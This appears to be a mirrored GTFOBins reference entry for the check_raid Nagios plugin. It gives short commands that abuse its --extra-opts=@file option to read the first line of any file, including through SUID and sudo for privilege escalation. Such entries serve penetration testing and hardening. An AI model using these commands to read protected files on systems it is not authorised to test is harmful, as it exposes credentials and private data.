1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/check_raid.md

18 lines
459 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
functions:
file-read:
- code: |
LFILE=file_to_read
check_raid --extra-opts=@"$LFILE"
suid:
- code: |
LFILE=file_to_read
./check_raid --extra-opts=@"$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo check_raid --extra-opts=@"$LFILE"
---